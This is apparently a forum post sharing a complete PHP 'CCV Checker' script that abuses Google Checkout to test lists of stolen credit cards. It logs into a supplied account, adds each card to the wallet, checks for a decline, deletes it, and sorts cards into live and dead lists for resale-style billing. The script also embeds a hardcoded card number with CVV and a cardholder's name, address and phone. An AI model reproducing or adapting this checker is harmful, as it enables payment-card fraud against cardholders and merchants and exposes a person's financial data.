[Cvv Checker] - Google Checkout

A25414N

Professional
Messages
243
Reputation
8
Reaction score
20
Points
18
Code:
<?php
set_time_limit(0);
function _curl($url,$post="",$usecookie = false,$header=false) {  
	$ch = curl_init();
	if($post) {
		curl_setopt($ch, CURLOPT_POST ,1);
		curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
	}
	curl_setopt($ch, CURLOPT_URL, $url); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35"); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	if ($usecookie) { 
	curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie); 
	curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
	} 
    if($header) { 
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header); 
    }
	//curl_setopt($ch, CURLOPT_HEADER,1); 
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 
	$result=curl_exec ($ch); 
	curl_close ($ch); 
	return $result; 
}

function _date($cclist){ 
    if (!is_null($cclist)){ 
        foreach ($cclist as $cc){ 
            $ccnum = info($cc,"xx yyyy"); 
            if ($ccnum){ 
                $_d = $ccnum['year'].$ccnum['mon']; 
                $order[$_d][] = $cc; 
            } 
            else $order['e'][] = $cc; 
        } 
        ksort($order); 
        if (!is_null($order)) foreach ($order as $_d) foreach ($_d as $cc) $ok[] = $cc; 
        if (!is_null($order['e'])) foreach ($order['e'] as $cc) $ok[]=$cc; 
        return $ok; 
    } 
} 
function _bin($ccnum){ 
    if (isset($_POST['bin'])){ 
        $blen = strlen($_POST['bin']); 
        $bin = substr($ccnum['num'],0,$blen); 
        if ($bin == $_POST['bin']) return true; 
        else return false; 
    } 
    else return true; 
} 
function _dup($cclist){ 
    for ($i = 0;$i < count($cclist); $i++){ 
        $ccnum = info($cclist[$i],"xx yyyy"); 
        if ($ccnum["num"] > 0){
            $cc = $ccnum["num"]; 
            for ($j = $i + 1;$j < count($cclist); $j++){ 
				if($cclist[$j] == ""){
					continue;
				}
                if (inStr(str_replace("-","",str_replace(" ","",$cclist[$j])),$cc)) $cclist[$j] = ""; 
            }
        }
    }
    foreach($cclist as $i => $cc) if ($cc == "") unset($cclist[$i]); 
    $ok = array_values($cclist); 
    return $ok; 
} 

function percent($num_amount, $num_total) {
$count1 = $num_amount / $num_total; 
$count2 = $count1 * 100; 
$count = number_format($count2, 0); 
return $count; 
}

function getStr($string,$start,$end){
	$str = explode($start,$string);
	$str = explode($end,$str[1]);
	return $str[0];
}

function checkMon($date,$type){
	$len = strlen($date);
	if ($type == 2){
		if($len == 2){
			return $date;
		}
		elseif($len == 1){
			switch($date){
				case '1':  $date='01'; break;
				case '2':  $date='02'; break;
				case '3':  $date='03'; break;
				case '4':  $date='04'; break;
				case '5':  $date='05'; break;
				case '6':  $date='06'; break;
				case '7':  $date='07'; break;
				case '8':  $date='08'; break;
				case '9':  $date='09'; break;
			}
		}
		return $date;
	}
	elseif ($type == 1){
		if($len == 2){
			switch ($date){
				case '01':  $date='1'; break;
				case '02':  $date='2'; break;
				case '03':  $date='3'; break;
				case '04':  $date='4'; break;
				case '05':  $date='5'; break;
				case '06':  $date='6'; break;
				case '07':  $date='7'; break;
				case '08':  $date='8'; break;
				case '09':  $date='9'; break;
				case '10': $date='10'; break;
				case '11': $date='11'; break;
				case '12': $date='12'; break;
			}
			return $date;
		}
		elseif($len == 1) return $date;
	}
	else return false;
}


function checkYear($date,$type){
	$len = strlen($date);
	if($type == 4){
		if($len == 4) return $date;
		elseif($len == 2) return "20".$date;
	}
	elseif($type == 2){
		if($len == 2) return $date;
		elseif($len == 4) return substr($date,-2);
	}
	else return false;
}

function multi_explode($pattern, $string, $standardDelimiter = ':'){
    $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
    return explode($standardDelimiter, $string);
}

function info($ccline,$type){
	$ccline = str_replace(" ","",$ccline);
	$pattern = '/[:\|\\\\\/\s]/';
	$line = multi_explode($pattern,$ccline);
	
	$typemy = explode(" ",$type);
	$typem = strlen($typemy[0]);
	$typey = strlen($typemy[1]);
	
	$amex = "AMEX";
	$visa = "VISA";
	$mast = "MC";
	$disc = "DISCOVER";

	foreach($line as $col){
		if(is_numeric($col)){
			switch(strlen($col)){
				case 15:
					if(substr($col,0,1)==3){
						$ccnum['num'] = $col;
						$ccnum['type'] = $amex;
					}
					break;
				case 16:
					switch(substr($col,0,1)){
						case '4':
							$ccnum['num'] = $col;
							$ccnum['type'] = $visa;
							break;
						case '5':
							$ccnum['num'] = $col;
							$ccnum['type'] = $mast;
							break;
						case '6':
							$ccnum['num'] = $col;
							$ccnum['type'] = $disc;
							break;
					}
					break;
				case 1:
					if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
				case 2:
					if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
						$ccnum['mon'] = checkMon($col,$typem);
					}
					elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))    $ccnum['year'] = checkYear($col,$typey);
					break;
				case 4:
					if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon'])))    $ccnum['year'] = checkYear($col,$typey);
					elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
						$ccnum['mon'] = checkMon(substr($col,0,2),$typem);
						$ccnum['year'] = checkYear(substr($col,-2),$typey);
					}
					else $ccv['cv4'] = $col;
					break;
				case 6:
					if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
                        $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
						$ccnum['year'] = checkYear(substr($col,-2),$typey);
                    }
                    break;
				case 3:
					$ccv['cv3'] = $col;
                    break;
			}
		}
	}
	if(isset($ccnum["num"])){
		if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
		else $ccnum['cvv'] = $ccv['cv3'];
		return $ccnum;
	}
	else{
		$ccnum["num"] = false;
		return $ccnum;
	}
}

function inStr($s,$as){
	$s=strtoupper($s);
	if(!is_array($as)) $as=array($as);
	for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
	return false;
}
function rand_acc(){
	$acc = Array();
	$acc[] = "ltb||ltb"; 
	$ran = array_rand($acc);
	return explode("||", $acc[$ran]);
}

if ($_POST['cclist']){
		global $cookie;
		$cookie = tempnam('cookie','avo'.rand(1000000,9999999).'ltb123.txt');	

		$cclive = "";
		$ccdie = "";
		$ccerr = "";
		$cccant = "";
		$uncheck = "";
		
		$mail = urlencode(trim($_POST['user']));
		$pass = urlencode(trim($_POST['pass']));
		if($mail == "" || $pass == ""){
			Die('<center><font color=red size=4>Username and Password Cannot be Blank</font></center>');
		}
		$url = "http://checkout.google.com";
		$s = _curl($url,"",$cookie);
		
		$dsh = getStr(getStr($s,'dsh" id="dsh',' />'),'value="','"');
		$galx = getStr(getStr($s,'GALX"',' />'),'value="','"');
		
		
		$url = "https://www.google.com/accounts/ServiceLoginAuth";
		$post = "ltmpl=default&continue=https%3A%2F%2Fcheckout.google.com%2Fmain%3Fupgrade%3Dtrue&service=sierra&nui=1&dsh=$dsh&ltmpl=default&hl=en_US&ltmpl=default&timeStmp=&secTok=&GALX=$galx&Email=$mail&Passwd=$pass&signIn=Sign+in&asts=";
		$s = _curl($url,$post,$cookie);
		
//		if(!stristr($s,'<a href="https://checkout.google.com/viewWallet">Edit payment methods</a>')){
//			Die('<center><font color=red size=4>Account Error. Change another Account 2</font></center>');
//		}
		
		$dellink = "";
		$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);
		
		$token = urlencode(getStr($s,'userToken" type="hidden" value="','"'));
		
		$url = "https://checkout.google.com/efe/editBillingInformation?s7e=creditcard.cardNumber:n;creditcard.cvv:n";
		$post = "logoutContinueUrl=https%3A%2F%2Fcheckout.google.com%2FviewWallet&creditcard=US&creditcard.hiddenFopTypeKey=US%3ACREDIT_CARD&creditcard.fopInputSelection=CREDIT_CARD&creditcard.lastDigits=0526&creditcard.type=VISA&creditcard.cardBrand=&creditcard.cardNumber=4185-8749-6349-0526&creditcard.exp.month=4&creditcard.exp.year=2013&creditcard.cvv=981&creditcard.start.month=&creditcard.start.year=&creditcard.issue=&creditcard.accountNumber=&creditcard.bankCode=&creditcard.name=Jimmy+Wilson&creditcard.iso3166CountryCode=US&creditcard.enableCaseChecking=false&creditcard.street1=1645+E.+13th+Street&creditcard.street2=&creditcard.town=Ogden&creditcard.state=UT&creditcard.zip=84404&creditcard.phone=503+642-7494&creditcard.submit=Save&userToken=$token";
		$s = _curl($url,$post,$cookie);

		sleep(5);
		$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);

		$id = getStr(getStr($s,'xxx-0526','id="deleteInstrument1"'),'instrumentId=','&');
		$del = "https://checkout.google.com/viewWallet?instrumentId=$id&userToken=$token&deleteInstrument=true&tzfp=NULL";
		$b = _curl($del,"",$cookie);
		$teststr = getStr($s,'xxx-0526','Expires');
		
		if(!stristr($teststr,'Declined')){
			Die('<center><font color=red size=4>Account Error. Change another Account 1</font></center>');
		}
		
		$cclist = trim($_POST['cclist']); 
		$cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist); 
		$cclist = str_replace("\r\r","\r",$cclist);
		$cclist = str_replace("\n\n","\n",$cclist); 
		$cclist = explode("\n",$cclist);
		if (isset($_POST['dup'])) $cclist = _dup($cclist); 
		$STT = 0;
		$TOTAL = count($cclist);
		$handle = fopen($uploadfile, 'a+'); 
		for($i=0;$i<count($cclist);$i++){
			$ccnum = info($cclist[$i],"x yyyy");
			$type = $ccnum['type'];
			$ccn = $ccnum['num'];
			$ccmon = $ccnum['mon'];
			$ccyear = $ccnum['year'];
			$cvv = $ccnum['cvv'];
			$count_user=get_credit($user);
		if ($count_user>=0)
			if ($ccn){
				if(_bin($ccnum)){
					if($type == "AMEX"){
						$ccn = substr($ccn,0,4)."-".substr($ccn,4,6)."-".substr($ccn,-5);
					}
					else{
						$ccn = substr($ccn,0,4)."-".substr($ccn,4,4)."-".substr($ccn,8,4)."-".substr($ccn,-4);
					}
					$last4 = substr($ccn,-4);
					
					$STT++;
					$dellink = "";
					$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);
					
					$token = urlencode(getStr($s,'userToken" type="hidden" value="','"'));
					
					$url = "https://checkout.google.com/efe/editBillingInformation?s7e=creditcard.cardNumber:n;creditcard.cvv:n";
					$post = "logoutContinueUrl=https%3A%2F%2Fcheckout.google.com%2FviewWallet&creditcard=US&creditcard.hiddenFopTypeKey=US%3ACREDIT_CARD&creditcard.fopInputSelection=CREDIT_CARD&creditcard.lastDigits=$last4&creditcard.type=$type&creditcard.cardBrand=&creditcard.cardNumber=$ccn&creditcard.exp.month=$ccmon&creditcard.exp.year=$ccyear&creditcard.cvv=$cvv&creditcard.start.month=&creditcard.start.year=&creditcard.issue=&creditcard.accountNumber=&creditcard.bankCode=&creditcard.name=Jimmy+Wilson&creditcard.iso3166CountryCode=US&creditcard.enableCaseChecking=false&creditcard.street1=1645+E.+13th+Street&creditcard.street2=&creditcard.town=Ogden&creditcard.state=UT&creditcard.zip=84404&creditcard.phone=503+642-7494&creditcard.submit=Save&userToken=$token";
					$s = _curl($url,$post,$cookie);

					sleep(5);
					$s = _curl("https://checkout.google.com/viewWallet?tzfp=wg-1A4rD","",$cookie);

					$id = getStr(getStr($s,'xxx-'.substr($ccn,-4),'id="deleteInstrument1"'),'instrumentId=','&');
					$del = "https://checkout.google.com/viewWallet?instrumentId=$id&userToken=$token&deleteInstrument=true&tzfp=NULL";
					$b = _curl($del,"",$cookie);
					$teststr = getStr($s,'xxx-'.substr($ccn,-4),'Expires');
		
					if(stristr($teststr,'Declined')){$count_user = $count_user-$price;
				        update_credit($user,$count_user);
						echo "$STT/$TOTAL |Credit: " .$count_user."| <font color=red><b>Die	==> | </b>".$cclist[$i]."</font><br>"; 
						$ccdie .= $cclist[$i]."\n";
					}
					elseif(stristr($s,'xxx-'.substr($ccn,-4))){$count_user = $count_user-$price;
				        update_credit($user,$count_user);
						echo "$STT/$TOTAL |Credit: " .$count_user."| <font color=blue><b>Live	==> | </b>".$cclist[$i]."</font><br>"; 
						$cclive .= $cclist[$i]."\n";
						
					}
					else{
						echo "$STT/$TOTAL | <font color=orange><b>CantCheck	==> | </b>".$cclist[$i]."</font><br>"; 
						$cccant .= $cclist[$i]."\n";
					}
				}
			}
			flush();
		}
		unlink($cookie);
		
		if (!is_null($cc['live'])){
			if (isset($_POST['date'])){ $cc['live'] = _date($cc['live']); }
			foreach($cc['live'] as $ss){ $cclive .= $ss."\n"; }
		}
		if (!is_null($cc['die'])){
			foreach($cc['die'] as $ss){ $ccdie .= $ss."\n"; }
		}
		if (!is_null($cc['cant'])){
			foreach($cc['cant'] as $ss){ $cccant .= $ss."\n"; }
		}
		
		$per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
		$per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
		$per3 = percent(count(explode("\n",$ccerr))-1,count($cclist));
		$per4 = percent(count(explode("\n",$cccant))-1,count($cclist));
		$per5 = percent(count(explode("\n",$uncheck))-1,count($cclist));

		echo "<center>";
		if($cclive!=""){
			echo "<h2><font color=blue>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
			echo "<textarea cols=90 rows=10>$cclive</textarea><br>";
		}
		if($ccdie!=""){
			echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
			echo "<textarea cols=90 rows=10>$ccdie</textarea><br>";
		}
		if($ccerr!=""){
			echo "<h2><font color=orange>Error</font> $per3 % (".(count(explode("\n",$ccerr))-1)."/".count($cclist).")</h2>";
			echo "<textarea cols=90 rows=10>$ccerr</textarea><br>";
		}
		if($cccant!=""){
			echo "<h2><font color=green>CantCheck</font> $per4 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
			echo "<textarea cols=90 rows=10>$cccant</textarea><br>";
		}
		if($uncheck!=""){
			echo "<h2><font color=green>UnCheck</font> $per5 % (".(count(explode("\n",$uncheck))-1)."/".count($cclist).")</h2>";
			echo "<textarea cols=90 rows=10>$uncheck</textarea><br>";
		}
		
}
else{
?> 
<center><h1>--[ CCV Checker ]--</h1><br>Credit Card List:<br><br>
	<form action="" method=post name=f> 
		Acc google checkout : <input type=text name=user> Password : <input type=text name=pass><br>
		<textarea wrap="off" name=cclist cols=90 rows=20># Accept: Vis, Mas, Amex, Dis
# Need : Acc Google Checkout 
# Country: All
# No-charg, No-kill ,No-Log
# Unlimit line</textarea><br>
		<b>Dupe : <input name=dup type=checkbox value=1 checked> --- Sort Date: <input name=date type=checkbox value=1 checked> --- Check Theo Bin: <input type=text name=bin MAXLENGTH=6 size=8></b>
		<br><br> <input type=submit name=submit size=10 value="CHECK NOW"> 
	</form> 
<?php }?>
 
Top